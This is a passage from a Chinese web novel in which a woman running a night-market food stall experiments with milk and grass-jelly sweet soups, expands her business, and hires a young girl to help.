陆鸢笑应:“行。” 应下后,祁晟上手准备做油条。 县丞看向祁晟,好奇道:“你还能做这活,我还当你在家里帮你家娘子,也就是推推磨。” 陆鸢应道:“郎君的手艺可不比我的差,客人可以好好尝一尝。” 县丞来了兴趣,道:“那我可真得好好尝尝了。” 说着,就坐到了摊子后的桌子。 没多久,嵇捕头带着几个捕快也来了,他们看见县丞的时候还有些惊诧。 瞧来不是约好的。 不过这么一下子来了这么多熟人,陆鸢想也知道是来给她捧场的,来旺人气的。 人气确实是要旺一旺,客人才会来。 这摊子上两桌子都坐满了人,这瞧着人多热闹,吃食味道肯定不会差,也就陆陆续续地来了客,其中还有熟面孔。 熟客买了一份油炸香豆腐,问:“苏娘子,听说闹事的人都被抓了起来,是不是真的?” 陆鸢身后都是公署的人,还有个县丞,她一时还真不知该怎么解释。 身后的县丞朝着嵇捕头点了点头。 嵇捕头会意,便道:“自是真的,杨主簿知道吗?” 那人点头:“当然知道,今日可都传遍了,公署户房杨主簿被抓了,犯了不少事呢,不过他咋了?” 一旁有人听及议论,好奇心驱使,也竖起了耳朵。 嵇捕头道:“那杨主簿家的闺女看上了苏娘子的郎君了,所以找人来闹事,就是想让苏娘子害怕,从而和郎君和离。” 他嗓门不小,有不少人认出他是公署的捕头,说的话自是可信,再说杨主簿之女素来荒唐,这事还真有可能,因此引来了不少好奇的人,想听下去的人,都纷纷买摊子上的吃食。 陆鸢怕生意不好,所以吃食准备得少,只有先前的一半,但因公署的人捧场旺人气,陆陆续续来了不少人,这一晚上还没过半,连豆乳都卖完了。 今晚的好生意,陆鸢担心的门市冷清没有发生,心口大石也落定。 第110章 陆鸢又恢复了数铜板记账的乐趣。 祁晟给她倒了一杯茶水, 问她:“这天气渐渐暖和了,你和孩子,还有祖母要不做些新衣裳?” 陆鸢放下笔,拿起杯盏, 却道:“是呀, 都二月份了, 天气暖和了,该做点饮子了。” 祁晟:“那你想做点什么饮子?” 陆鸢想了想, 她摇了摇头:“还没想好。” 她观察过很多做饮子的摊子,大多都是捣碎香料冲水泡, 又或是把果子熬成浓浆, 而后兑水。 她以前想过奶茶,但也衡量过不可行, 不过, 不做奶茶, 还是得弄点牛乳。 陆鸢忽然道:“这城里好弄牛乳吗?” 祁晟应道:“牛乳应该比较少, 羊乳会比较多, 你需要吗?” 陆鸢:“没有牛乳的话,先买点回来吧, 我看孩子们和老太太能不能吃得习惯。” “两个孩子的个子,长得太慢了, 我想给他们每日订些牛乳或羊乳长长身子。” 祁晟诧异道:“还有这说法?” 陆鸢点头:“不然你以为为什么刚出生的孩子要吃母乳?” 祁晟:…… 这个问题有些许敏感, 他便转了话题,问:“那要喝多久?我好去与人说。” 陆鸢:“先看她们能不能吃得习惯, 要是能喝,就定一年,要一壶的量, 够咱们全家人喝了。” 祁晟一顿:“全家人……我也要喝?” 陆鸢瞅了他一眼:“都补补。” 祁晟道:“我不需要。” 羊乳无论怎么弄,都有些无法去除的膻味,他不是很喜欢。 陆鸢:“那就少喝一些,你现在身子骨虽好,那是因为年轻,可不能因为年轻就觉得没什么问题,你也不想想,干剿匪的活,干公署的活有多凶险,没有好的体魄,怎么能拼得过那些恶人?” 她都说了这么多,他要是再说不要,多少都有点不识好歹。 他道:“我明日上值若是陪着嵇捕头巡街,就顺道打听有没有牛乳,若是没有牛乳,再退而求其次要羊乳,成吗?” 陆鸢点头应:“不过要是这牛乳贵得离谱,咱也不要。” 第二日,祁晟便提着一个用绳子捆死的铜壶回来。 陆鸢上前接过,问:“是牛乳还是羊乳?” 祁晟:“是牛乳,有些吃食会用到牛乳,在城里也有人养了产牛乳的牛。” 陆鸢问:“贵吗?” 祁晟:“不算太贵,倒也不便宜,这一壶要二十文,壶是那商家的,明日我再拿去还。” 陆鸢转头看向自己手里的壶,估摸着里边有个一升余。 用来做奶茶的话,顶多能做个四碗,还得要茶叶和糖,那么不算盈利,单单是成本就得七八文了,这要是再挣点,怎么都得九文,十文了。 太贵了。 大家伙喝饮子,大多是用以解渴,清暑,这十文钱就已经劝退许多人了。 毕竟普通人一个月的工钱也不过五六百文,哪舍得喝这么贵的饮子。 她还是想想,控制在三文钱一碗的饮子吧。 陆鸢把牛乳放水缸边上,问他:“什么时候打的牛乳?” 祁晟:“怕坏了,特意到了那处,才让人挤的。” 陆鸢也就放心了,现在这天气还不热,且晚间还是有些凉的,应该也能放两个时辰左右,等晚上就寝前再煮开来喝。 吃完暮食,在院子里沏上一壶清茶,再剥上几个橘子,吃吃喝喝地话家常,倒也惬意。 来家里住了有三日的何柔艳羡道:“真好,我们以前在家的时候,哥哥常不在家,我和弟弟都是吃完暮食就回屋歇着了,从来没试过这样。” 陆鸢道:“以后你们若是还在广康城,也可以常来作客或小住。” 数日相处下来,两个孩子都是好孩子,会帮忙洗衣洗碗,也会帮忙扫院子,何柔还会帮忙带春花秋花,一点也不用人操心。 穷人家的孩子早当家,这话一点也没错。 晚间准备就寝的时辰,陆鸢去把牛乳煮开了,怕孩子第一回喝不习惯,还加了少许的糖。 煮开后,倒进了七个杯中,杯盏不大,每杯也能七八分满。 陆鸢先端进给了几个孩子:“先把这牛乳喝了再睡。” 说着也看向何柔姐弟俩:“你们俩也有份。” 何柔住了几日,晓得陆鸢的性子,也就没有扭捏,道了声谢谢,才逐一端给弟弟妹妹。 几个孩子浅尝了一口后,春花双眸亮晶晶地看向她:“娘,牛乳香香的。” 看来,还是挺喜欢的。 因着有些烫,他们喝得慢,她道:“慢慢喝,我一会再来收杯子。” 然后她才拿着托盘出去,端上剩下的几杯去来老太太的屋子。 老太太正在收拾床铺,也没转身,问:“咋了?” 陆鸢道:“今晚郎君打回来的牛乳,煮好了,端一杯给老太太尝尝。” 老太太转头看到孙媳把牛乳放到自个桌子上,就道:“我以前就喝过了,不用尝了,你们喝就好了,再说了,我这个半截身体都快埋黄土的老婆子,喝了也是浪费。” 陆鸢“呸呸呸”了几声,道:“老太太,你整日说我说话不吉利,你这说的话也不见得有多吉利,我不想听。” 老太太笑骂道:“哪家做孙媳的,敢对家里的老祖宗说教?除了你也没别人了。” 陆鸢端着剩下的两杯,道:“那也是老太太你说话不吉利。” “你们慢慢喝,一会儿我来收杯子。”说着就转身端着牛乳回屋去了。 回了屋,因刚两间屋子的房门没关,在叠衣的祁晟也听见了她们拌嘴的话。 “还是你能治得了祖母。”他说。 陆鸢递了一杯牛乳给他,再端起自己那杯,道:“那还不是你重孝道,我呢,没那么讲究,老人家犯错,那也是犯错,我可不会因为老,就不计较。” 她抿了一口牛乳,还真香香的。 这里的牛羊,喂的都是草料,没有合成的饲料,这牛乳喝起来特别香浓,也难怪孩子们爱喝了。 陆鸢琢磨了一下,虽然肉痛,但还是道:“咱们先定一个月吧。” 一壶二十文,一个月就是六百文,虽然快比上他们一个月的房租了,但是全家人受益,也算是物超所值了。 祁晟点头:“那成,我明日就去和养牛户说去。” 陆鸢摸出了六串钱给他:“那明日顺道把银钱也给了。” 祁晟接过,放进一个大钱袋子里,明日再带走。 喝了热牛乳,陆鸢浑身热乎乎的,在这春日格外舒适,都有点犯困了。 祁晟道:“你去孩子屋子把杯子收了,我去洗。” 孩子的屋子到底有个半大的姑娘,祁晟还是要避嫌的。 不知不觉,何柔姐弟俩已经在家里住了五日了,到了要走的时候了。 陆鸢一开始有点担心,但家里每日都热热闹闹的,现在都有点舍不得了。 再说何柔的眼睛,陆鸢陪着她去了一趟医馆,开了点预防发炎的药后,几天休养,眼睛慢慢地能看见一些模糊的影子了。 陆鸢叮嘱道:“小羊羔固然可爱,但以后也不能再抱在怀里,和它一块睡了,晓得吗?” 何柔有些不好意思地点了点头:“我晓得了,谢谢祁嫂嫂。” 陆鸢摸了摸她的发顶:“回家后,好好过日子,遇到挫折和打击也别轻易放弃。” 祁晟听到她的话,侧目看向她。 从还未见过她时,他就能从她的身上感受到了顽强且坚韧的生命力。 何柔点了点头。 陆鸢把许兴抱上了马车,也对他嘱咐道:“你可是个小男子汉,可要保护好阿姊,长大后也不能欺负比自己弱小的,知道吗?” 许兴重重地点了点头,应:“知道了,祁嫂嫂。” 两个孩子上了马车,都依依不舍地望着他们。 祁晟与陆鸢道:“我把人送到后就回来。” 陆鸢点了点头,朝着两个孩子挥了挥手,做最后的叮嘱:“好好地照顾自己。” 姐弟俩许是已经很久没体会过家的温暖了,却在祁家体会到了,所以眼眶都红红的。 等马车走远了,她们才返回家里。 家里一下子冷清了,老太太叹气道:“还是人多点热闹。” 陆鸢生怕老太太催生,立马躲到孩子里的屋子去了。 虽然和祁晟做了名副其实的夫妻,她也怕一不小心就中了,所以从年后到现在,差不多两个月,除了刚开荤那段时间外,现在雷打不动,三天才一回,哪怕他有火,也得给她憋着。 老太太看着孙媳进了孩子的屋子,也知在躲着她,顿时无言。 不过就是感叹一声家里冷清了,还真当她会时不时催生么? 他们夫妻俩,年前应得好好的,让她在今年抱上重孙,但真当她没看出来他们夫妻是忽悠她这个老太婆的? 老太太没好气地朝着屋子里头道:“不是说要做夏衣了么,还不带孩子来量一下尺寸。” 陆鸢推开窗户,疑惑道:“年前不是量过了,还量?” 老太太:“这年节大鱼大肉的,孩子都长了不少肉,还有你,我瞧着你整日说胸口闷,我琢磨着是你的小衣小了。” 陆鸢:…… 老太太,小衣是往后系绳子的,再小也不能小得闷胸口吧?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 110-120 第111章 时间过得不紧不慢, 已是立夏,天气暖和,便脱去了外衫,只着轻薄的衣裳。 陆鸢长发随意束在腰后, 穿着松散的衣衫趴在桌上, 一支笔在纸上涂涂写写。 祁晟沐浴回来, 便看到她这般慵懒的模样。 衣襟敞开,胸前露出一片白腻的肌肤。 祁晟走到桌前, 道:“你坐正些。” 陆鸢这会正因为要想饮子,想得脑壳疼, 烦着呢, 是以眉眼上挑睨向他,语气不怎么好:“怎的, 我坐姿你都要管了?” 祁晟无奈叹了一口气, 示意般地拉了拉自己的衣襟, 目光看向她的领口。 陆鸢会意, 垂下视线瞧了眼, 拉拢了一些,道:“色胚。” 祁晟:“……” 她这话就不太对了, 要是他对现在衣衫凌乱的妻子没有半点想法,那才有问题。 他绕到她的身后, 看向她所写的内容, 什么果子饮子,薄荷饮子, 还是绿豆羹饮子。 “还没想好做什么呢?” 陆鸢:“不是没想好,是别家都有,没新意。” 热豆乳买的人不怎么多了, 换新饮子势在必行。 不然她客人来她这摊子吃东西的客人,还是会去别家买饮子,毕竟吃了她家的小食后,都想喝两口解腻或是解辣。 祁晟:“要比新意的话,专门买饮子的摊子,什么样的饮子都有,什么都可以做饮子。” 陆鸢听到这话,脑中灵光一闪,立马坐直腰身。 祁晟问:“有想法了?” 陆鸢点头,脸上都是喜色:“还真有,咱们的摊子该扩大了!” 祁晟疑惑抬眉。 她道:“两个摊子并一个,再请一个人。一个摊子卖吃食,一个摊子买糖水。” 祁晟道:“这做糖水要做很多准备,你如何打算?” 陆鸢想了想,道:“反正小食摊这边,除了发面和泡豆子要我做外,其他的也都不用我准备,其他的都是七娘来操心,我也不用费什么心思,我只要把心思放在糖水摊子。” “不过我得好好琢磨有什么便宜好喝的糖水。” 陆鸢在纸上写下芋头两字,再在旁写了小字芋泥。 想到芋泥,自是想到了龟苓膏。 可这玩意她也不知道怎么弄,她就知道有一种果子可以弄成冰粉,看过种田小说,里头就有写过女主靠冰粉发家的。 还记了怎么做冰粉,很简单,就找到一种果子,用里边的子搓成膏状,自然凝固就成了冰粉。 她仔细想想,好像还真的没有在夜市街看见,倒是有水晶糕,但吃着不像是冰粉的口感。 冰粉可以做成桂花口味,青瓜口味,还有薄荷口味,加点糖水……或者加少量的牛乳,也不是不可以。 如果单单做奶茶,牛乳肯定是亏的,但这只是加几勺用来增添口感的话,也不会亏。 说不定冰粉还真可以做成新出吃食。 但时下的问题是她压根就不记得那东西叫什么,只知是青色的果子,里边有点像无花果。 陆鸢蓦地侧身抓向祁晟的手臂,眼神亮晶晶地望着他。 他以前常在山上打猎,自是对山里的野果如数家珍,没准真的见过这种果子。 祁晟:“怎么了?” 陆鸢思索了一下,才把那果子形容了出来:“你在山上,有没有见过一种青色或绿色的果子,里边没什么果肉,也没有果壳,却是满满的黄囊。” 大概和鸡蛋差不多大吧,又或者是比鸡蛋大一点,她刷到过视频,就是没怎么留意叫什么。 祁晟虽不解,但还是仔细想了想,随即问:“可知是长在地上,还是树上的果子?” 这就有点问倒陆鸢了,她想了想:“好像长在荆棘比较多的地方。” 祁晟点头:“那有可能是树,我仔细想想。” 陆鸢在旁提醒:“好像还能当作药材使用的果子。” 祁晟闻言,从她手上拿过笔,简单地在纸上勾勒了一个果子,在桌旁画了个两个圈,里边点上许多墨点。 陆鸢看着他的话,忙不迭道:“对对对,就是这种!你在山里见过?!” 祁晟放下笔,点头:“见过是见过,但那是在围山村附近的山里发现的,而且还是在秋季发现,这个季节未必有。” 听到祁晟的话,陆鸢的心都凉了半截。 祁晟道:“这好像叫木莲,医馆倒是会备一些,但量不多。” 陆鸢脸色顿时黯淡了下来,这果子做冰粉,只能搁置到秋季了。 她想想除了木莲果还有什么可以平替的。 琢磨了一会,还真想到了,陆鸢又瞧向祁晟。 祁晟:“又想到了什么,你说说看。” 陆鸢道:“有一种草和薄……不,和夜息香长得很像的,叶子上长有绒毛,长的花也像狗尾巴草一样的形状,小小的一朵朵花有白的有紫的。” 祁晟仔细一想,不过片刻,便道:“倒是有你说的这种,不过这种几乎随处可见,你确定要的事这种草?” 陆鸢一喜,道:“你明天给我采几株回来,我仔细确认是不是。” 祁晟第二日下值的时候,就给陆鸢带回来了几株草。 陆鸢仔细看了看,和朋友家种的仙草一样。 她看向祁晟,问:“你确定这东西没毒吧?” 祁晟道:“没毒,这平日老百姓都会煮这些草来作茶喝,以此消暑。” 那就没错了。 祁晟作为一个土著,他的话不可信,还有谁的话能信? 陆鸢确定草没问题后,便琢磨起怎么做仙草冻了。 她很久以前看到朋友做过一回,虽然不太清楚什么个过程,但就记得要用到碱和玉米淀粉。 碱可以用草木灰水代替。 玉米淀粉难磨得细腻,但应该是可以直接用玉米磨成浆备用。 等明天一早就去夜市街,买点玉米回来试一试。 陆鸢是个风风火火的性子,想到什么就干什么 平日爱赖床的她,今日起了个大早,甚至比祁晟起得还早。 她推了一下枕边人,催促道:“别睡了,赶紧起来。” 祁晟睁开了眼缝,睡眼惺忪地看向满满精力的妻子。 这要挣钱的事,还真从未见她耽搁过。 洗漱过后,便带着两个孩子一同去了东市,等晚上再给送回来。 只是,到了东市,陆鸢逛了一圈,都没有发现买玉米的,问了,旁人也不知道是什么。 得,又一样还没传进来的植物。 琢磨了一下,陆鸢直接去买了绿豆粉。 这绿豆磨粉还要浸泡,太长时间了,还是直接买现成的。 绿豆粉也是可以替代玉米淀粉的,就是可能效果不会那么好。 这绿豆便宜,就比黄豆贵了两文钱一斤,但粉的话就相对要贵,真要做这生意,以后肯定是不能买现成的,得自己做。 把绿豆粉买回去后,陆鸢就一头扎进了厨房开始她的凉粉大计中。 不知道比例,就凭着感觉来,先做出第一份,接下来才能调整。 陆鸢摘了些叶子用小锅熬煮至烂,再过滤出来。 然后生石灰水搅拌了小半碗绿豆粉,搅至细腻没有粉疙瘩后,她才放进已没有那么烫的汁液中,边倒边搅拌,以免粘锅。 这还没开火呢,就已经黏稠了,显然是水放少了。 这锅也就没继续做,而是多加了一半的水,重复了一遍步骤。 等到最后,开火搅拌黏稠后,她就放在一旁静置冷却,这个时辰应该得半个小时左右。 等待的时候,陆鸢顺道又做了几份不同比例的。 以免过度浪费,每份都是半碗。 这草是绿色的,便是绿豆粉也是带着淡淡绿色,这做出来的仙草冻也是翠绿翠绿的,好似翡翠一样,煞是好看。 等仙草凝固后,陆鸢拿了勺子,逐一挖来尝试。 这吃起来没什么滋味,只有淡淡的绿豆香味,而且吃起来口感爽滑细腻,要是加点糖水和牛乳,肯定一绝。 而且也是可以加薄荷糖水,还可以放点芋泥调配,这不就有了好几个糖水了? 陆鸢等了一刻,肚子里也没有什么反应,便把两碗口感好的凉粉划成小块,再兑了糖水分成三小份,端进了屋中。 把两个在玩的孩子喊来:“春花秋花,快来尝尝我琢磨出来的新吃食。” 两个孩子立马扔下了手里的玩偶,兴致勃勃地坐到桌边。 陆鸢把相对少的两份推到孩子的面前:“快试试。” 要不是祁晟现在双日也去上值了,还能多一个人给意见呢,而且还是最中肯的意见。 两个孩子是最捧场的,回回新吃食,都能给予陆鸢最大的情绪价值。 这一口凉粉入口,春花秋花眼睛都是亮晶晶的,没一会儿就吃完了碗里的凉粉,然后巴巴地看着她,还想要。 陆鸢道:“你们还小,一下子不能吃太多,等傍晚你们爹回来,我再做,等那会再给你们吃一点,成不?” 两个孩子闻言,一脸失望,但还是点头应好,然后又巴巴地瞧着陆鸢的碗里。 ……虽然没说要分,但谁能顶得住这两双可怜巴巴地眼神? 陆鸢无奈,只能给她们每人多舀了一块。 瞧这两孩子喜欢的劲头,心说这果冻类的,果真从古至今都讨孩子欢心。 凉粉的生意也差不到哪里去。 这仙草不用成本,自己就可以摘或种。 但这绿豆和糖水得算成本。 就绿豆粉的用量也用不了多少,算下来都不用一文钱一份,就是这糖水成本高些。 年前熬制的糖,也够她今年用的了,这凉粉买三文钱一份,杂七杂八都扣了,至少净挣一文钱。 这夏日喝糖水的人多,选择性多,没人会选择贵的,所以她只能薄利多销。 再者要是另外加料,也还能再多加一两个钱,无论如何,肯定是挣。 第112章 祁晟下值就直接到了夜市街小院。 陆鸢见他回来了, 立马端出了四碗加了芋泥的凉粉。 芋泥做起来也简单。 先切片蒸上差不多一刻余,再用汤勺碾成芋泥的同时,添些糖水增加芋泥的甜味,再干锅翻炒增加香味。 陆鸢朝着收拾准备出摊的胡七娘, 喊道:“七娘先别忙活了, 先尝尝我做的吃食。” 七娘抹了把手, 走近一看,看到绿油油的吃食, 诧异的问:“东家,这可是绿豆腐?” 陆鸢卖起了关子, 道:“你先尝尝, 再告诉我味道如何。” 陆鸢把另一碗给了祁晟,另外剩下的两小半碗则给了两个小孩。 春花问:“娘你不吃吗?” 陆鸢笑吟吟的道:“娘做的时候就已经尝过了。” 还尝了不少, 肚子现在都已经饱了。 胡七娘吃了凉粉, 诧异道:“吃起来比豆腐还要滑嫩, 吃起来感觉还有点冰凉的感觉。” 陆鸢笑道:“你再尝尝芋头。” 胡七娘勺起芋头吃了一口, 惊喜道:“这芋头还真好吃, 香甜软糯,比整个芋头要好吃!” 陆鸢道:“那你觉得这个新吃食怎么样?” 胡七娘忙不迭地点头:“非常可以!” 那现在就有三个糖水可以选择了。 芋头糖水。 凉粉糖水。 凉粉芋头糖水。 正好祁晟把牛乳打了回来, 陆鸢也就进厨房捯饬。 牛乳相对浓,一杯牛乳加半杯水依稀, 煮开的时候加点糖, 再用凉水盛凉来。 最后剩下微温,再几勺芋泥和几勺软糯的糯米饭。 几个碗都装了一些, 然后送到他们面前。 胡七娘道:“吃了这些,一会儿都不用吃暮食了。” 说着,看到碗里的米饭, 惊奇道:“呀,这糖水还放了米饭?” “都尝一下。” 几个人都尝了尝。 祁晟笑道:“想不到,这糯米饭也能做成糖水,也不会觉得腻。” 胡七娘也连连点头,附和道:“我还从来没在糖水铺子里吃到过糯米饭呢,真稀奇。” 陆鸢道:“这要是到了果子的季节,还可以往里放些果子呢。” 反正她也想好了,等到那木莲果子熟了,她就开始做各种各样味道的凉粉,做主推。 而后再多采一些,把籽晒干储存到明年继续用。 尝试完了糖水后,才把锅碗瓢盆桌椅拉出去出摊。 出摊后,陆鸢让祁晟去找里甲询问一下,看是否固定两个摊位,按月租。 祁晟点了头,便去寻里甲商量。 不一会祁晟回来了,道 :“里甲说也有这么人这么干,只是若遇双日下雨或有什么情况不出摊,也是不退的。” 陆鸢道:“要是可以租,这些都不是问题,你就和里甲说,咱们就租现在的位置和隔壁的位置。” 左边的位置几乎都是同一家,只右边是常换来换去的。 祁晟道:“行,我现在就去说定。” 他再次去和里甲说定,只等下次出摊的时候,让里甲头收取租金。 毕竟这六百文也不算是小数目。 晚上收摊,陆鸢与祁晟道:“明日你下值回来的时候,给我多采一些仙草回来,最好也挖一些带根的,我在家里也种一些。” 祁晟点了头,随之好奇道:“怎的叫仙草?” 陆鸢道:“老家的叫法,别太在意。” 说着,又道:“等下回单日,我给你做一桶凉粉,你提去公署给大家伙分着吃,说不定觉得好吃,也会带着家眷来捧场。” 这凉粉做成,也费不了几个钱,既能帮祁晟收买人心,也能给自己招揽生意,一举两得。 祁晟道:“你下回双日你教我做,第二日一早我再自己做去,省得你早起。” 陆鸢点头。 她也不打算与七娘说这凉粉是怎么做的,所以还是得亲力亲为,祁晟是肯定要帮忙的。 因着陆鸢要做新吃食,祁晟单日上值的时候就已经和嵇捕头说了,这回的双日不过来了。 第二日一早,祁晟就陪着陆鸢出门去买绿豆,买芋头,还有一些糯米。 糯米精贵,精米十二文一斤,它得是十六文一斤,是以陆鸢芋头糯米饭只放两勺糯米饭,一份买五文钱。 就单纯的凉粉,三文钱,加其他的就多添两文钱。 就芋泥糖水,也是三文钱一份。 但加牛乳,就得在每份的价格上多加一文钱。 另外,陆鸢还有便宜的夜息香糖水和香茅糖水。 两种就是简简单单的用夜息香煮水,或是香茅煮水,再加少量的糖水。 这香茅是新鲜的,也有人用在吃食中,倒也不难找。 香茅和夜息香都便宜,两文钱就能得许多,所以这两样茶水,陆鸢就买一文钱一竹筒。 糖水摊子,也不放大桌了,就放了四条长宽高板凳,两条并排,做两排,位置还很宽松。 这要是坐满的话,也是能坐十数人的,这样主要是避免不熟悉的人挤在一张桌子。 这第一天开张,吆喝上来,很多吃了他们家吃食的,都会要上一份一文钱的糖水解渴。 倒也有人想尝试凉粉,只是人少。 芋泥和糯米饭,尝试的人更少了,毕竟这两样都不是什么稀奇的,也就没人想尝试。 没人尝试,自然不知滋味,生意又怎么能算好。 七娘道:“东家,这糖水摊子的夜息香糖水和香茅都快卖完了,这芋泥和糯米饭都还没卖出去呢。” “倒是凉粉稀奇,卖出去了十来份。” 陆鸢一琢磨,也觉得这样下去不行,她想了想,与祁晟道:“郎君,你去把家里的小碟子拿出来。” 先前做麻辣豆皮的时候,用来送尝的蘸料碟子。 祁晟返回去,把十来个牒子洗干净后,才拿出来。 陆鸢给他安排了活计:“你今晚就看着糖水铺子,反正价钱我也让你写在木板子上头了,你自己看着来。” 说着,就开始往蘸料碟里头装凉粉或是芋泥,两样以及搭配半勺的糯米饭,反正牌子上有的,都给搭配了。 只要在隔壁吃小食的,都送上一份尝尝。 胡七娘也是个机灵的,见此就开始吆喝:“吃小食送小份糖水!” 也是够小份的,就两口的事。 就两口也不够尝味的,要是真喜欢的话,肯定还会再点。 听到有糖水送,小食摊的生意就更好了。 果不然,如陆鸢所预料的,这遇上喜欢的,没吃够的,多半人会忍痛再叫上一份。 这原本还愁着卖不出去的糖水,顿时红火了起来。 当然,其中也有祁晟那张脸的功劳。 奔着英俊郎君去的姑娘和妇人也不在少数。 祁晟忙不过来,七娘就去隔壁摊子送完糖水,等忙完一阵就回到小食摊子,小声和陆鸢嘀咕:“东家,你让郎君看摊子,也不怕再出现像杨氏女那般纠缠不休的人。” 七娘不提杨氏女,陆鸢忙得都快忘记这个人了,她看向即便系着围裙,也玉树临风的祁晟,欣赏了一下,道:“担心是一回事,但也总不能把我家郎君藏着掖着,害怕归害怕,咱也得讨生活。” 七娘一琢磨,倒也是。 而且现在这祁郎君还在公署干活,是公家人,除了知县家的闺女,也没别人敢再行杨氏女那等混不吝的事了。 不过,估摸着知县家的闺女也不敢了。 七娘也从自家男人口中听到了一些小道消息,广康知县因包庇杨主簿,现在还被州府问责呢,这个节骨眼上,哪里还敢做仗势欺人的事。 忙活了一整晚,因着吃食有送糖水,再者糖水铺子一小半都给送出去了,所以两家摊子都给卖完了,陆鸢和胡七娘也都快累瘫了。 给胡七娘结工钱的时候,陆鸢多给了五文钱,说是奖励。 胡七娘这打心眼里觉得这东家是真的好。 这春节多给工钱,这平日若是活多了些,也还会额外多给些,要是东家一直让她做活,她能做到老死。 等胡七娘走了,祁晟去烧热水洗漱,陆鸢则在屋子里头,边哼着瓦舍常听到的小曲,边数铜板。 祁晟回屋,本想喊她去沐浴,见她数得起劲,就先去洗了。 等回来的时候,她铜板也数完了,拿着笔在账册上计数,嘴角压都压不下去,可见今晚的生意是真的极好。 祁晟问她:“今晚的盈利如何?” 陆鸢喜滋滋地抬起头,眼里倾泻出笑意,伸出四根手指:“利润能有这个数。,四百三十六文” 四百三十多文,确实挺多的。 陆鸢道:“要不是今晚糖水准备少了,小食也备少了,还能破五呢,我琢磨着趁着大家伙今晚熟悉这吃食,下回多做一些,还送。” 祁晟道:“是该多做一些,但今晚都快忙不过来了,要是下回双日,只会更多人,更忙不过来了。” 陆鸢朝着他眨巴了一下眼睛,说:“其实我心里有个人选了,就是怕你有意见。” 瞧着她这模样,祁晟琢磨了一下,问:“是何柔?” 陆鸢点了点头:“虽然她有一只眼睛不大好,可干活还是很利索的。她眼睛估计很快就能看见,也没什么太大的影响。” “再说了,她一个小姑娘带着一个弟弟,靠着什么过活,所以我想帮衬一下。” 祁晟想了想,道:“这事吧,得问她兄长,万一因这事再来寻我们麻烦,得不偿失。” 陆鸢疑惑道:“可她兄长不是在州府的牢里吗,怎么问?” 祁晟道:“前些天,我与县丞去了一趟州府,那何豹见到县丞,自告奋勇要跟随县丞一同剿匪,县丞念他又检举之功,又是被杨主簿挟持,最后求的恩典也是个弟弟妹妹求的,便也就应下了,但现在还是得坐满三个月牢。” “你要是真想用何柔,明日有人去州府,我就托人去说一声。” 陆鸢点头:“也行,我虽然想帮何柔,但也是怕了她家的那个阿兄,还是先问个准话吧。” 第113章 翌日, 祁晟下值的时候,给陆鸢采了一斤多的仙草,连着根的仙草也挖了好些。 吃了暮食,祁晟就在边边角角给她把仙草栽种上。 老太太站在一旁, 嘀咕道:“这就是做出绿色凉粉的仙草?瞧着也不仙呀, 就和路边的野草没啥区别。” 今日陆鸢把凉粉做给老太太吃了, 也送了一些给左邻右舍,还道郎君今晚会带一些回来, 她想要栽种在院子的边边角角。 老太太听到做凉粉的材料叫仙草的时候,还当是什么稀罕物, 是真没想到就是普普通通的路边野草。 陆鸢道:“差别可大了, 这可以做凉粉,还有清热解暑的作用, 普通的野草可没有这种作用, 也做不了凉粉。” 老太太道:“看着平平无奇, 还怪有作用的。” 陆鸢笑道:“那可不。” 等祁晟种完了, 陆鸢给他舀水洗手, 问他:“小柔的事情问得咋样了?” 祁晟甩了甩手上的水珠,道:“何豹让衙差帮忙转述了一句话, 大恩大德,无以为报, 等他出狱后, 必登报致歉,报答。” 陆鸢一个激灵:“别别别, 搞得这么隆重,怪吓人的。我是可怜那小姑娘,帮她, 是可怜她,也是因为喜欢她,不会因为她是谁的妹妹而喜欢,或讨厌。” 祁晟道:“这事,之后再说,总归他的意思,是不会找麻烦就成了。” 陆鸢点了点头:“我也不知道现在小柔他们姐弟俩在什么地方,你知道吗?” 祁晟点头应道:“听到何豹的回复后,我下值的时候就顺道去寻了何柔,与她说了这事,还未说工钱,她就应得很快。” “另外,她那只瞧不见的眼睛,原本是灰蒙蒙的眼珠子,现在已经逐渐转黑,且也能看见东西了,就是还像覆着一层纱,其他还好。” 陆鸢喜道:“那她这恢复得很好呀。” 对人不对事,她是真心地为何柔感到高兴。 陆鸢道:“那你有说,让她明天一早来家里寻我吗?” 祁晟点头:“说是说了,但你想好怎么安顿他们了吗?” “这夜市毕竟经营到半夜,她一个小姑娘也不好回去。” 陆鸢道:“当然想好了,夜市最热闹的时候在酉时末至戌时末,等亥时正就让她回去歇着。” “我是这么想的,后院那间屋子就让姐弟俩住,我就随你回家去,等那天你不在的时候,我就与他们挤一挤,你看成不?” 祁晟想了想,道:“也行。” 陆鸢道:“等再干一段时间,要是夜市街有合适铺子的话,咱们就定下来,到时候就不用那么麻烦,把那些锅碗瓢盆桌椅搬来搬去。” 祁晟笑道:“怎的,不是说这摊子也挣钱吗,还灵活。” 陆鸢叹了一口气道:“好是好,就是烦,总要把东西搬来搬去,以前也不觉得,现在多弄了一个摊子,来来回回也多加了三趟,就觉得累人了。” 祁晟道:“那我与里甲打个招呼,若是有合适的店铺,便支会一声。” 陆鸢点头:“也不需要太大,铺子里能坐几桌,门外也能摆几桌就成。” 这铺子门前一丈是属于店家的范围,是可以搭棚子的,相当于是两个摊位了,甚至比两个摊位还大呢。 最主要还方便,平日里,除去双日外,这单日双日白日也是可以开着铺子的。 只不过,这白日的客人比较少,也可以说,单日几乎没有客人。 租金要交一个月,但只能挣十五天的钱,而且租金还不便宜呢。 单单靠陆鸢这几个月挣的银钱,租个铺子,一下子交付半年的租金,再简单收拾收拾,怎么都得近十贯钱了。 陆鸢得全投进去了,才能把这铺子开起来。 好在,祁晟有月俸,还有先前剿匪的赏银,家底是充足的。 双日一早,何柔就带着弟弟敲响了祁家的门。 老太太也熟悉了,忙招呼他们进来吃朝食。 吃了朝时后,陆鸢单独找何柔说话。 她道:“这工钱,就按照六文钱一个时辰算,帮忙送吃食,洗洗碗,成吗?” 何柔忙不迭地点头:“成成成。” 大抵应得太心急了,她都有些不好意思了起来,道:“以前我还可以帮阿兄放羊,可自从眼睛看不见后,什么忙都帮不上,都成了阿兄的累赘了。” “阿兄跟着商队出去了,得好几个月才能回来,这几个月我也能好好地照顾自己和弟弟。” 原来是借口是跟着商队出去了,难怪这些时日来,并未过度忧愁。 陆鸢道:“晚上你就忙活两个时辰,然后就在我们夜市小院歇着,在你阿兄回来之前,你也可以和小兴先住在那处。” 听祁晟说,姐弟俩现在还是住在原来的家,平日里也会有捕快送些米粮菜,油盐过去。 何柔担忧道:“要是我们和弟弟住了小院,嫂子你和祁家阿兄住哪里?” 陆鸢道:“我们回家住也成的。” 